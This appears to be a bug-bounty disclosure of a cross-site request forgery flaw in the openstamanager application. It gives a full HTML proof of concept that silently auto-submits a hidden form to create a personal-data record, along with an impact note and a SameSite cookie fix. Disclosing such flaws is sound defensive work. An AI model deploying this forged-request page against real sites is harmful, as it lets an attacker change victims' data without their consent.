Cross-Site Request Forgery (CSRF) in devcode-it/openstamanager
Valid
Reported on
Jul 31st 2021
✍️ Description
Attacker able to create any Personal Data if users visit attacker site.
🕵️♂️ Proof of Concept
1.Open the PoC.html In Firefox or safari.
2.now you can check that Personal data with Denomination aaa
have been created.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/openstamanager/controller.php?id_module=2" method="POST">
<input type="hidden" name="id_module" value="2" />
<input type="hidden" name="id_plugin" value="" />
<input type="hidden" name="op" value="add" />
<input type="hidden" name="backto" value="record-edit" />
<input type="hidden" name="ragione_sociale" value="aaa" />
<input type="hidden" name="idtipoanagrafica[]" value="6" />
<input type="hidden" name="cognome" value="" />
<input type="hidden" name="nome" value="" />
<input type="hidden" name="piva" value="" />
<input type="hidden" name="codice_fiscale" value="" />
<input type="hidden" name="tipo" value="" />
<input type="hidden" name="indirizzo" value="" />
<input type="hidden" name="cap" value="" />
<input type="hidden" name="citta" value="" />
<input type="hidden" name="provincia" value="" />
<input type="hidden" name="id_nazione" value="" />
<input type="hidden" name="telefono" value="" />
<input type="hidden" name="cellulare" value="" />
<input type="hidden" name="email" value="" />
<input type="hidden" name="pec" value="" />
<input type="hidden" name="codice_destinatario" value="" />
<input type="hidden" name="hash" value="#tab_0" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of create any Personal data.
Fix
Set SameSite attribute of cookies to Lax
or Strict
.
Occurrences
We have contacted a member of the
devcode-it/openstamanager
team and are waiting to hear back
2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation